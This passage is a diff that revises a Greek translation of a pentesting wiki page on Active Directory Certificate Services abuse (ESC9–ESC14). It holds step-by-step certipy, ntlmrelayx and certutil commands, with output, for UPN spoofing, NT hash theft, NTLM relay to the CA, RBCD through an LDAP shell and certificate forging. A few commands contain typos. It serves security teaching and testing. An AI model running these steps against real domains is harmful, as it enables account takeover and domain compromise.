client authentication EKU καθορίζεται από το πιστοποιητικό. +- Δικαιώματα `GenericWrite` είναι διαθέσιμα πάνω σε οποιονδήποτε λογαριασμό για να παραβιαστεί άλλος. -### Abuse Scenario +### Σενάριο Κατάχρησης -Ας υποθέσουμε ότι ο `John@corp.local` κατέχει άδειες `GenericWrite` πάνω από τον `Jane@corp.local`, με στόχο να συμβιβάσει τον `Administrator@corp.local`. Το πρότυπο πιστοποιητικού `ESC9`, στο οποίο επιτρέπεται η εγγραφή του `Jane@corp.local`, είναι ρυθμισμένο με τη σημαία `CT_FLAG_NO_SECURITY_EXTENSION` στην ρύθμιση `msPKI-Enrollment-Flag`. +Ας υποθέσουμε ότι ο `John@corp.local` έχει δικαιώματα `GenericWrite` πάνω στον `Jane@corp.local`, με στόχο να παραβιάσει τον `Administrator@corp.local`. Το πρότυπο πιστοποιητικού `ESC9`, στο οποίο επιτρέπεται στον `Jane@corp.local` να εγγραφεί, είναι ρυθμισμένο με το flag `CT_FLAG_NO_SECURITY_EXTENSION` στη ρύθμιση `msPKI-Enrollment-Flag`. -Αρχικά, το hash του `Jane` αποκτάται χρησιμοποιώντας Shadow Credentials, χάρη στον `GenericWrite` του `John`: +Αρχικά, το hash της `Jane` αποκτάται χρησιμοποιώντας Shadow Credentials, χάρη στο `GenericWrite` του `John`: ```bash certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane ``` -Στη συνέχεια, το `userPrincipalName` της `Jane` τροποποιείται σε `Administrator`, παραλείποντας σκόπιμα το μέρος του τομέα `@corp.local`: +Στη συνέχεια, το `userPrincipalName` της `Jane` τροποποιείται σε `Administrator`, εσκεμμένα παραλείποντας το τμήμα domain `@corp.local`: ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator ``` -Αυτή η τροποποίηση δεν παραβιάζει τους περιορισμούς, δεδομένου ότι το `Administrator@corp.local` παραμένει διακριτό ως το `userPrincipalName` του `Administrator`. +Αυτή η τροποποίηση δεν παραβιάζει τους περιορισμούς, δεδομένου ότι το `Administrator@corp.local` παραμένει ξεχωριστό ως `Administrator`'s `userPrincipalName`. -Ακολουθώντας αυτό, το πρότυπο πιστοποιητικού `ESC9`, που έχει χαρακτηριστεί ευάλωτο, ζητείται ως `Jane`: +Κατόπιν τούτου, το πρότυπο πιστοποιητικού `ESC9`, επισημασμένο ως ευάλωτο, ζητείται ως `Jane`: ```bash certipy req -username jane@corp.local -hashes -ca corp-DC-CA -template ESC9 ``` -Σημειώνεται ότι το `userPrincipalName` του πιστοποιητικού αντικατοπτρίζει τον `Administrator`, χωρίς κανένα “object SID”. +Σημειώνεται ότι το `userPrincipalName` του πιστοποιητικού αντανακλά τον `Administrator`, χωρίς κανένα “object SID”. -Το `userPrincipalName` της `Jane` επιστρέφει τότε στην αρχική της, `Jane@corp.local`: +Το `userPrincipalName` της `Jane` επανέρχεται στην αρχική της τιμή, `Jane@corp.local`: ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local ``` -Η προσπάθεια αυθεντικοποίησης με το εκδοθέν πιστοποιητικό αποδίδει τώρα το NT hash του `Administrator@corp.local`. Η εντολή πρέπει να περιλαμβάνει `-domain ` λόγω της έλλειψης καθορισμού τομέα στο πιστοποιητικό: +Η προσπάθεια αυθεντικοποίησης με το εκδοθέν πιστοποιητικό τώρα αποδίδει το NT hash του `Administrator@corp.local`. Η εντολή πρέπει να περιλαμβάνει `-domain ` λόγω της έλλειψης καθορισμού domain στο πιστοποιητικό: ```bash certipy auth -pfx adminitrator.pfx -domain corp.local ``` -## Αδύνατοι Χάρτες Πιστοποιητικών - ESC10 +## Αδύναμες αντιστοιχίσεις πιστοποιητικών - ESC10 -### Εξήγηση +### Επεξήγηση -Δύο τιμές κλειδιών μητρώου στον ελεγκτή τομέα αναφέρονται από το ESC10: +Δύο τιμές κλειδιών μητρώου στον domain controller αναφέρονται από το ESC10: -- Η προεπιλεγμένη τιμή για το `CertificateMappingMethods` κάτω από `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` είναι `0x18` (`0x8 | 0x10`), προηγουμένως ρυθμισμένη σε `0x1F`. -- Η προεπιλεγμένη ρύθμιση για το `StrongCertificateBindingEnforcement` κάτω από `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` είναι `1`, προηγουμένως `0`. +- Η προεπιλεγμένη τιμή για `CertificateMappingMethods` κάτω από `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` είναι `0x18` (`0x8 | 0x10`), προηγουμένως ρυθμισμένη σε `0x1F`. +- Η προεπιλεγμένη ρύθμιση για `StrongCertificateBindingEnforcement` κάτω από `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` είναι `1`, προηγουμένως `0`. **Περίπτωση 1** @@ -493,71 +514,71 @@ certipy auth -pfx adminitrator.pfx -domain corp.local **Περίπτωση 2** -Εάν το `CertificateMappingMethods` περιλαμβάνει το bit `UPN` (`0x4`). +Αν το `CertificateMappingMethods` περιλαμβάνει το bit `UPN` (`0x4`). ### Περίπτωση Κατάχρησης 1 -Με το `StrongCertificateBindingEnforcement` ρυθμισμένο σε `0`, ένας λογαριασμός A με δικαιώματα `GenericWrite` μπορεί να εκμεταλλευτεί για να συμβιβάσει οποιονδήποτε λογαριασμό B. +Με το `StrongCertificateBindingEnforcement` ρυθμισμένο σε `0`, ένας λογαριασμός A με δικαιώματα `GenericWrite` μπορεί να εκμεταλλευτεί για να παραβιάσει οποιονδήποτε λογαριασμό B. -Για παράδειγμα, έχοντας δικαιώματα `GenericWrite` πάνω από `Jane@corp.local`, ένας επιτιθέμενος στοχεύει να συμβιβάσει το `Administrator@corp.local`. Η διαδικασία αντικατοπτρίζει το ESC9, επιτρέποντας τη χρήση οποιουδήποτε προτύπου πιστοποιητικού. +Για παράδειγμα, έχοντας δικαιώματα `GenericWrite` στον λογαριασμό `Jane@corp.local`, ένας επιτιθέμενος στοχεύει να παραβιάσει τον `Administrator@corp.local`. Η διαδικασία είναι παρόμοια με το ESC9, επιτρέποντας τη χρήση οποιουδήποτε template πιστοποιητικού. -Αρχικά, το hash της `Jane` ανακτάται χρησιμοποιώντας Shadow Credentials, εκμεταλλευόμενο το `GenericWrite`. +Αρχικά, το hash της Jane ανακτάται χρησιμοποιώντας Shadow Credentials, εκμεταλλευόμενο το `GenericWrite`. ```bash certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane ``` -Στη συνέχεια, το `userPrincipalName` της `Jane` τροποποιείται σε `Administrator`, παραλείποντας σκόπιμα το τμήμα `@corp.local` για να αποφευχθεί μια παραβίαση περιορισμού. +Στη συνέχεια, το `userPrincipalName` της `Jane` αλλάζεται σε `Administrator`, εσκεμμένα παραλείποντας το τμήμα `@corp.local` για να αποφευχθεί μια παραβίαση περιορισμού. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator ``` -Ακολουθώντας αυτό, ζητείται ένα πιστοποιητικό που επιτρέπει την πιστοποίηση πελάτη ως `Jane`, χρησιμοποιώντας το προεπιλεγμένο πρότυπο `User`. +Κατόπιν αυτού, ζητείται ένα πιστοποιητικό που επιτρέπει την πιστοποίηση πελάτη ως `Jane`, χρησιμοποιώντας το προεπιλεγμένο πρότυπο `User`. ```bash certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes ``` -Η `userPrincipalName` της `Jane` επαναφέρεται στην αρχική της, `Jane@corp.local`. +Το `userPrincipalName` της `Jane` στη συνέχεια επαναφέρεται στην αρχική του τιμή, `Jane@corp.local`. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local ``` -Η πιστοποίηση με το αποκτηθέν πιστοποιητικό θα αποφέρει το NT hash του `Administrator@corp.local`, απαιτώντας τον καθορισμό του τομέα στην εντολή λόγω της απουσίας λεπτομερειών τομέα στο πιστοποιητικό. +Η αυθεντικοποίηση με το αποκτηθέν πιστοποιητικό θα αποδώσει το NT hash του `Administrator@corp.local`, καθιστώντας απαραίτητο τον καθορισμό του domain στην εντολή λόγω της έλλειψης στοιχείων του domain στο πιστοποιητικό. ```bash certipy auth -pfx administrator.pfx -domain corp.local ``` -### Abuse Case 2 +### Περίπτωση Κατάχρησης 2 -Με το `CertificateMappingMethods` να περιέχει το `UPN` bit flag (`0x4`), ένας λογαριασμός A με δικαιώματα `GenericWrite` μπορεί να συμβιβάσει οποιονδήποτε λογαριασμό B που στερείται ιδιότητας `userPrincipalName`, συμπεριλαμβανομένων των λογαριασμών μηχανών και του ενσωματωμένου διαχειριστή τομέα `Administrator`. +Όταν το `CertificateMappingMethods` περιέχει το bit flag `UPN` (`0x4`), ένας λογαριασμός A με δικαιώματα `GenericWrite` μπορεί να συμβιβάσει οποιονδήποτε λογαριασμό B που δεν έχει την ιδιότητα `userPrincipalName`, συμπεριλαμβανομένων των machine accounts και του built-in domain administrator `Administrator`. -Εδώ, ο στόχος είναι να συμβιβαστεί το `DC$@corp.local`, ξεκινώντας με την απόκτηση του hash της `Jane` μέσω Shadow Credentials, εκμεταλλευόμενοι το `GenericWrite`. +Εδώ, ο στόχος είναι να συμβιβαστεί ο `DC$@corp.local`, ξεκινώντας με την απόκτηση του hash της `Jane` μέσω Shadow Credentials, αξιοποιώντας το `GenericWrite`. ```bash certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane ``` -Η `userPrincipalName` της `Jane` ρυθμίζεται σε `DC$@corp.local`. +Το `userPrincipalName` της `Jane` στη συνέχεια ορίζεται σε `DC$@corp.local`. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local' ``` -Ένα πιστοποιητικό για την πιστοποίηση πελάτη ζητείται ως `Jane` χρησιμοποιώντας το προεπιλεγμένο πρότυπο `User`. +Ένα πιστοποιητικό για αυθεντικοποίηση πελάτη ζητείται ως `Jane` χρησιμοποιώντας το προεπιλεγμένο πρότυπο `User`. ```bash certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes ``` -Η `userPrincipalName` της `Jane` επανέρχεται στην αρχική της μορφή μετά από αυτή τη διαδικασία. +Το `userPrincipalName` της `Jane` επανέρχεται στην αρχική του τιμή μετά από αυτή τη διαδικασία. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local' ``` -Για να αυθεντικοποιηθεί μέσω Schannel, χρησιμοποιείται η επιλογή `-ldap-shell` του Certipy, υποδεικνύοντας την επιτυχία της αυθεντικοποίησης ως `u:CORP\DC$`. +Για να γίνει authenticate μέσω Schannel, χρησιμοποιείται η επιλογή `-ldap-shell` του Certipy, υποδεικνύοντας επιτυχή authentication ως `u:CORP\DC$`. ```bash certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell ``` -Μέσω του LDAP shell, εντολές όπως το `set_rbcd` επιτρέπουν επιθέσεις Resource-Based Constrained Delegation (RBCD), ενδεχομένως θέτοντας σε κίνδυνο τον ελεγκτή τομέα. +Μέσω του LDAP shell, εντολές όπως `set_rbcd` επιτρέπουν επιθέσεις Resource-Based Constrained Delegation (RBCD), ενδεχομένως θέτοντας σε κίνδυνο τον domain controller. ```bash certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell ``` -Αυτή η ευπάθεια επεκτείνεται επίσης σε οποιονδήποτε λογαριασμό χρήστη που δεν έχει `userPrincipalName` ή όπου δεν ταιριάζει με το `sAMAccountName`, με τον προεπιλεγμένο `Administrator@corp.local` να είναι ένας κύριος στόχος λόγω των ανυψωμένων LDAP δικαιωμάτων του και της απουσίας `userPrincipalName` από προεπιλογή. +Αυτή η ευπάθεια εκτείνεται επίσης σε οποιονδήποτε λογαριασμό χρήστη που δεν διαθέτει `userPrincipalName` ή όπου αυτό δεν αντιστοιχεί στο `sAMAccountName`, με τον προεπιλεγμένο `Administrator@corp.local` να αποτελεί βασικό στόχο λόγω των αυξημένων LDAP προνομίων του και της απουσίας `userPrincipalName` από προεπιλογή. -## Relaying NTLM to ICPR - ESC11 +## Μεταβίβαση NTLM σε ICPR - ESC11 ### Εξήγηση -Εάν ο CA Server δεν είναι ρυθμισμένος με `IF_ENFORCEENCRYPTICERTREQUEST`, μπορεί να πραγματοποιήσει επιθέσεις NTLM relay χωρίς υπογραφή μέσω της υπηρεσίας RPC. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/). +Εάν ο CA Server δεν είναι διαμορφωμένος με `IF_ENFORCEENCRYPTICERTREQUEST`, αυτό μπορεί να επιτρέψει NTLM relay attacks χωρίς υπογραφή μέσω της υπηρεσίας RPC. [Αναφορά εδώ](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/). -Μπορείτε να χρησιμοποιήσετε `certipy` για να καταγράψετε αν η `Enforce Encryption for Requests` είναι απενεργοποιημένη και το certipy θα δείξει τις ευπάθειες `ESC11`. +Μπορείτε να χρησιμοποιήσετε το `certipy` για να ελέγξετε αν το `Enforce Encryption for Requests` είναι απενεργοποιημένο και το `certipy` θα εμφανίσει ευπάθειες `ESC11`. ```bash $ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -574,9 +595,9 @@ Enforce Encryption for Requests : Disabled ESC11 : Encryption is not enforced for ICPR requests and Request Disposition is set to Issue ``` -### Abuse Scenario +### Σενάριο Κατάχρησης -Πρέπει να ρυθμιστεί ένας διακομιστής αναμετάδοσης: +Χρειάζεται να εγκατασταθεί ένας relay server: ```bash $ certipy relay -target 'rpc://DC01.domain.local' -ca 'DC01-CA' -dc-ip 192.168.100.100 Certipy v4.7.0 - by Oliver Lyak (ly4k) @@ -595,29 +616,29 @@ Certipy v4.7.0 - by Oliver Lyak (ly4k) [*] Saved certificate and private key to 'administrator.pfx' [*] Exiting... ``` -Σημείωση: Για τους ελεγκτές τομέα, πρέπει να καθορίσουμε `-template` στο DomainController. +Σημείωση: Για domain controllers, πρέπει να καθορίσουμε το `-template` στο DomainController. -Ή χρησιμοποιώντας [το fork του sploutchy του impacket](https://github.com/sploutchy/impacket): +Ή χρησιμοποιώντας [sploutchy's fork of impacket](https://github.com/sploutchy/impacket) : ```bash $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support ``` ## Shell access to ADCS CA with YubiHSM - ESC12 -### Explanation +### Επεξήγηση -Οι διαχειριστές μπορούν να ρυθμίσουν την Αρχή Πιστοποίησης για να την αποθηκεύσουν σε μια εξωτερική συσκευή όπως το "Yubico YubiHSM2". +Οι διαχειριστές μπορούν να ρυθμίσουν την Certificate Authority ώστε να αποθηκεύεται σε μια εξωτερική συσκευή όπως το "Yubico YubiHSM2". -Εάν η συσκευή USB είναι συνδεδεμένη στον διακομιστή CA μέσω μιας θύρας USB, ή σε περίπτωση που ο διακομιστής CA είναι μια εικονική μηχανή, απαιτείται ένα κλειδί αυθεντικοποίησης (μερικές φορές αναφέρεται ως "κωδικός πρόσβασης") για να μπορέσει ο Παροχέας Αποθήκευσης Κλειδιών να δημιουργήσει και να χρησιμοποιήσει κλειδιά στο YubiHSM. +Εάν μια USB συσκευή είναι συνδεδεμένη στον CA server μέσω θύρας USB, ή σε USB device server στην περίπτωση που ο CA server είναι virtual machine, απαιτείται ένα authentication key (μερικές φορές αναφερόμενο ως "password") για τον Key Storage Provider ώστε να δημιουργεί και να χρησιμοποιεί κλειδιά στο YubiHSM. -Αυτό το κλειδί/κωδικός πρόσβασης αποθηκεύεται στο μητρώο κάτω από `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` σε καθαρό κείμενο. +Αυτό το key/password αποθηκεύεται στο registry κάτω από `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` σε απλό κείμενο. -Reference in [here](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm). +Αναφορά [εδώ](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm). -### Abuse Scenario +### Σενάριο Κατάχρησης -Εάν το ιδιωτικό κλειδί της CA είναι αποθηκευμένο σε μια φυσική συσκευή USB όταν αποκτήσετε πρόσβαση σε shell, είναι δυνατόν να ανακτηθεί το κλειδί. +Εάν το ιδιωτικό κλειδί της CA είναι αποθηκευμένο σε φυσική USB συσκευή και αποκτήσετε shell access, είναι πιθανό να ανακτήσετε το κλειδί. -Αρχικά, πρέπει να αποκτήσετε το πιστοποιητικό CA (αυτό είναι δημόσιο) και στη συνέχεια: +Πρώτα, πρέπει να αποκτήσετε το CA certificate (αυτό είναι δημόσιο) και στη συνέχεια: ```cmd # import it to the user store with CA certificate $ certutil -addstore -user my @@ -625,15 +646,15 @@ $ certutil -addstore -user my # Associated with the private key in the YubiHSM2 device $ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my ``` -Τέλος, χρησιμοποιήστε την εντολή certutil `-sign` για να πλαστογραφήσετε ένα νέο αυθαίρετο πιστοποιητικό χρησιμοποιώντας το πιστοποιητικό CA και το ιδιωτικό του κλειδί. +Τέλος, χρησιμοποιήστε την εντολή certutil `-sign` για να forge ένα νέο αυθαίρετο πιστοποιητικό χρησιμοποιώντας το πιστοποιητικό CA και το ιδιωτικό του κλειδί. ## OID Group Link Abuse - ESC13 ### Εξήγηση -Το χαρακτηριστικό `msPKI-Certificate-Policy` επιτρέπει την προσθήκη της πολιτικής έκδοσης στο πρότυπο πιστοποιητικού. Τα αντικείμενα `msPKI-Enterprise-Oid` που είναι υπεύθυνα για την έκδοση πολιτικών μπορούν να ανακαλυφθούν στο Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) του κοντέινερ PKI OID. Μια πολιτική μπορεί να συνδεθεί με μια ομάδα AD χρησιμοποιώντας το χαρακτηριστικό `msDS-OIDToGroupLink` αυτού του αντικειμένου, επιτρέποντας σε ένα σύστημα να εξουσιοδοτήσει έναν χρήστη που παρουσιάζει το πιστοποιητικό σαν να ήταν μέλος της ομάδας. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53). +Το attribute `msPKI-Certificate-Policy` επιτρέπει την προσθήκη της πολιτικής έκδοσης στο πρότυπο πιστοποιητικού. Τα αντικείμενα `msPKI-Enterprise-Oid` που είναι υπεύθυνα για την έκδοση πολιτικών μπορούν να εντοπιστούν στο Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) του PKI OID container. Μια policy μπορεί να συνδεθεί με μια ομάδα AD χρησιμοποιώντας το attribute `msDS-OIDToGroupLink` αυτού του αντικειμένου, επιτρέποντας σε ένα σύστημα να εξουσιοδοτήσει έναν χρήστη που παρουσιάζει το πιστοποιητικό σαν να ήταν μέλος της ομάδας. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53). -Με άλλα λόγια, όταν ένας χρήστης έχει άδεια να εγγραφεί σε ένα πιστοποιητικό και το πιστοποιητικό είναι συνδεδεμένο με μια ομάδα OID, ο χρήστης μπορεί να κληρονομήσει τα προνόμια αυτής της ομάδας. +Με άλλα λόγια, όταν ένας χρήστης έχει άδεια να enroll ένα πιστοποιητικό και το πιστοποιητικό είναι linked σε μια OID group, ο χρήστης μπορεί να κληρονομήσει τα προνόμια αυτής της ομάδας. Χρησιμοποιήστε [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) για να βρείτε OIDToGroupLink: ```bash @@ -657,13 +678,13 @@ OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.139243 OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local ------------------------ ``` -### Abuse Scenario +### Σενάριο Κατάχρησης -Βρείτε μια άδεια χρήστη που μπορεί να χρησιμοποιήσει `certipy find` ή `Certify.exe find /showAllPermissions`. +Εντοπίστε μια άδεια χρήστη που μπορείτε να χρησιμοποιήσετε με `certipy find` ή `Certify.exe find /showAllPermissions`. -Εάν ο `John` έχει άδεια να εγγραφεί στο `VulnerableTemplate`, ο χρήστης μπορεί να κληρονομήσει τα προνόμια της ομάδας `VulnerableGroup`. +Αν ο χρήστης `John` έχει άδεια να εγγραφεί στο `VulnerableTemplate`, ο χρήστης μπορεί να κληρονομήσει τα προνόμια της ομάδας `VulnerableGroup`. -Το μόνο που χρειάζεται να κάνει είναι να καθορίσει το πρότυπο, θα αποκτήσει ένα πιστοποιητικό με δικαιώματα OIDToGroupLink. +Το μόνο που χρειάζεται να κάνει είναι να καθορίσει το πρότυπο — θα λάβει ένα πιστοποιητικό με δικαιώματα OIDToGroupLink. ```bash certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate' ``` @@ -671,91 +692,96 @@ certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target ### Εξήγηση -Η περιγραφή στο https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping είναι εξαιρετικά λεπτομερής. Παρακάτω παρατίθεται ένα απόσπασμα του πρωτότυπου κειμένου. +Η περιγραφή στο https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping είναι εξαιρετικά λεπτομερής. Παρακάτω υπάρχει απόσπασμα του αρχικού κειμένου. -Η ESC14 αντιμετωπίζει τις ευπάθειες που προκύπτουν από την "ασθενή ρητή αντιστοίχιση πιστοποιητικών", κυρίως μέσω της κακής χρήσης ή ανασφαλούς διαμόρφωσης του χαρακτηριστικού `altSecurityIdentities` σε λογαριασμούς χρηστών ή υπολογιστών του Active Directory. Αυτό το πολυτιμολόγιο χαρακτηριστικό επιτρέπει στους διαχειριστές να συσχετίζουν χειροκίνητα πιστοποιητικά X.509 με έναν λογαριασμό AD για σκοπούς αυθεντικοποίησης. Όταν είναι συμπληρωμένο, αυτές οι ρητές αντιστοιχίσεις μπορούν να παρακάμψουν τη λογική αντιστοίχισης πιστοποιητικών από προεπιλογή, η οποία συνήθως βασίζεται σε UPN ή DNS ονόματα στο SAN του πιστοποιητικού, ή το SID που είναι ενσωματωμένο στην ασφάλεια `szOID_NTDS_CA_SECURITY_EXT`. +Το ESC14 αντιμετωπίζει ευπάθειες που προκύπτουν από "weak explicit certificate mapping", κυρίως μέσω της κατάχρησης ή της ανασφαλούς διαμόρφωσης του χαρακτηριστικού `altSecurityIdentities` σε λογαριασμούς χρήστη ή υπολογιστή στο Active Directory. Αυτό το πολυτιμης/πολλαπλών τιμών attribute επιτρέπει στους διαχειριστές να συσχετίσουν χειροκίνητα πιστοποιητικά X.509 με έναν λογαριασμό AD για σκοπούς πιστοποίησης. Όταν είναι συμπληρωμένο, αυτές οι explicit mappings μπορούν να παρακάμψουν τη προεπιλεγμένη λογική αντιστοίχισης πιστοποιητικών, η οποία τυπικά βασίζεται σε UPNs ή DNS names στο SAN του πιστοποιητικού, ή στο SID που είναι ενσωματωμένο στην `szOID_NTDS_CA_SECURITY_EXT` security extension. -Μια "ασθενής" αντιστοίχιση συμβαίνει όταν η συμβολοσειρά που χρησιμοποιείται μέσα στο χαρακτηριστικό `altSecurityIdentities` για να προσδιορίσει ένα πιστοποιητικό είναι πολύ ευρεία, εύκολα μαντεύσιμη, βασίζεται σε μη μοναδικά πεδία πιστοποιητικού ή χρησιμοποιεί εύκολα παραποιήσιμα στοιχεία πιστοποιητικού. Εάν ένας επιτιθέμενος μπορέσει να αποκτήσει ή να κατασκευάσει ένα πιστοποιητικό των χαρακτηριστικών του οποίου ταιριάζουν με μια τέτοια ασθενώς καθορισμένη ρητή αντιστοίχιση για έναν προνομιακό λογαριασμό, μπορεί να χρησιμοποιήσει αυτό το πιστοποιητικό για να αυθεντικοποιηθεί ως και να προσποιηθεί αυτόν τον λογαριασμό. +Μια "weak" αντιστοίχιση συμβαίνει όταν η string τιμή που χρησιμοποιείται μέσα στο `altSecurityIdentities` attribute για να ταυτοποιήσει ένα πιστοποιητικό είναι πολύ γενική, εύκολα εικασίσιμη, βασίζεται σε μη μονοσήμαντα πεδία πιστοποιητικού, ή χρησιμοποιεί εύκολα παραποιήσιμα συστατικά του πιστοποιητικού. Εάν ένας επιτιθέμενος μπορεί να αποκτήσει ή να κατασκευάσει ένα πιστοποιητικό του οποίου τα attributes ταιριάζουν με μια τέτοια αδύναμα ορισμένη explicit mapping για έναν privileged λογαριασμό, μπορεί να χρησιμοποιήσει αυτό το πιστοποιητικό για να πιστοποιηθεί ως και να προσποιηθεί ότι είναι ο εν λόγω λογαριασμός. -Παραδείγματα πιθανών ασθενών συμβολοσειρών αντιστοίχισης `altSecurityIdentities` περιλαμβάνουν: +Παραδείγματα ενδεχομένως αδύναμων `altSecurityIdentities` mapping strings περιλαμβάνουν: -- Αντιστοίχιση αποκλειστικά με ένα κοινό Όνομα Κοινής Θέματος (CN): π.χ., `X509:CN=SomeUser`. Ένας επιτιθέμενος μπορεί να είναι σε θέση να αποκτήσει ένα πιστοποιητικό με αυτό το CN από μια λιγότερο ασφαλή πηγή. -- Χρήση υπερβολικά γενικών Διακριτικών Ονομάτων Εκδότη (DNs) ή Ονομάτων Θέματος χωρίς περαιτέρω προσδιορισμό όπως ένας συγκεκριμένος αριθμός σειράς ή αναγνωριστικό κλειδιού θέματος: π.χ., `X509:CN=SomeInternalCACN=GenericUser`. -- Χρήση άλλων προβλέψιμων προτύπων ή μη κρυπτογραφικών αναγνωριστικών που ένας επιτιθέμενος μπορεί να είναι σε θέση να ικανοποιήσει σε ένα πιστοποιητικό που μπορεί να αποκτήσει νόμιμα ή να παραποιήσει (εάν έχει παραβιάσει μια CA ή έχει βρει ένα ευάλωτο πρότυπο όπως στην ESC1). +- Mapping solely by a common Subject Common Name (CN): π.χ., `X509:CN=SomeUser`. Ένας επιτιθέμενος μπορεί να είναι σε θέση να αποκτήσει ένα πιστοποιητικό με αυτό το CN από κάποια λιγότερο ασφαλή πηγή. +- Using overly generic Issuer Distinguished Names (DNs) or Subject DNs without further qualification like a specific serial number or subject key identifier: π.χ., `X509:CN=SomeInternalCACN=GenericUser`. +- Employing other predictable patterns or non-cryptographic identifiers that an attacker might be able to satisfy in a certificate they can legitimately obtain or forge (if they have compromised a CA or found a vulnerable template like in ESC1). -Το χαρακτηριστικό `altSecurityIdentities` υποστηρίζει διάφορες μορφές για την αντιστοίχιση, όπως: +Το `altSecurityIdentities` attribute υποστηρίζει διάφορες μορφές για την αντιστοίχιση, όπως: -- `X509:IssuerDNSubjectDN` (αντιστοιχεί με πλήρες DN Εκδότη και Θέματος) -- `X509:SubjectKeyIdentifier` (αντιστοιχεί με την τιμή του επεκταμένου αναγνωριστικού κλειδιού θέματος του πιστοποιητικού) -- `X509:SerialNumberBackedByIssuerDN` (αντιστοιχεί με αριθμό σειράς, έμμεσα προσδιορισμένο από το DN Εκδότη) - αυτή δεν είναι τυπική μορφή, συνήθως είναι `IssuerDNSerialNumber`. -- `X509:EmailAddress` (αντιστοιχεί με ένα όνομα RFC822, συνήθως μια διεύθυνση email, από το SAN) -- `X509:Thumbprint-of-Raw-PublicKey` (αντιστοιχεί με ένα SHA1 hash του ακατέργαστου δημόσιου κλειδιού του πιστοποιητικού - γενικά ισχυρό) +- `X509:IssuerDNSubjectDN` (maps by full Issuer and Subject DN) +- `X509:SubjectKeyIdentifier` (maps by the certificate's Subject Key Identifier extension value) +- `X509:SerialNumberBackedByIssuerDN` (maps by serial number, implicitly qualified by the Issuer DN) - this is not a standard format, usually it's `IssuerDNSerialNumber`. +- `X509:EmailAddress` (maps by an RFC822 name, typically an email address, from the SAN) +- `X509:Thumbprint-of-Raw-PublicKey` (maps by a SHA1 hash of the certificate's raw public key - generally strong) + +Η ασφάλεια αυτών των mappings εξαρτάται σε μεγάλο βαθμό από τη συγκεκριμενοποίηση, τη μοναδικότητα και την κρυπτογραφική ισχύ των επιλεγμένων ταυτοποιητών πιστοποιητικού που χρησιμοποιούνται στο mapping string. Ακόμα και με ενεργοποιημένα strong certificate binding modes στους Domain Controllers (που επηρεάζουν κυρίως implicit mappings βασισμένα σε SAN UPNs/DNS και την SID extension), μια κακώς διαμορφωμένη καταχώρηση `altSecurityIdentities` μπορεί εξακολουθητικά να παρέχει άμεσο δρόμο για impersonation αν η ίδια η λογική αντιστοίχισης είναι ελαττωματική ή υπερβολικά επιεικής. -Η ασφάλεια αυτών των αντιστοιχίσεων εξαρτάται σε μεγάλο βαθμό από την ειδικότητα, μοναδικότητα και κρυπτογραφική ισχύ των επιλεγμένων αναγνωριστικών πιστοποιητικού που χρησιμοποιούνται στη συμβολοσειρά αντιστοίχισης. Ακόμα και με ισχυρούς τρόπους δέσμευσης πιστοποιητικών ενεργοποιημένους σε Domain Controllers (οι οποίοι επηρεάζουν κυρίως τις έμμεσες αντιστοιχίσεις που βασίζονται σε SAN UPNs/DNS και την επέκταση SID), μια κακώς διαμορφωμένη είσοδος `altSecurityIdentities` μπορεί να παρουσιάσει ακόμα έναν άμεσο δρόμο για παραποίηση εάν η λογική αντιστοίχισης είναι ελαττωματική ή πολύ επιεικής. ### Σενάριο Κατάχρησης -Η ESC14 στοχεύει τις **ρητές αντιστοιχίσεις πιστοποιητικών** στο Active Directory (AD), συγκεκριμένα το χαρακτηριστικό `altSecurityIdentities`. Εάν αυτό το χαρακτηριστικό είναι ρυθμισμένο (σκόπιμα ή λόγω κακής διαμόρφωσης), οι επιτιθέμενοι μπορούν να προσποιηθούν λογαριασμούς παρουσιάζοντας πιστοποιητικά που ταιριάζουν με την 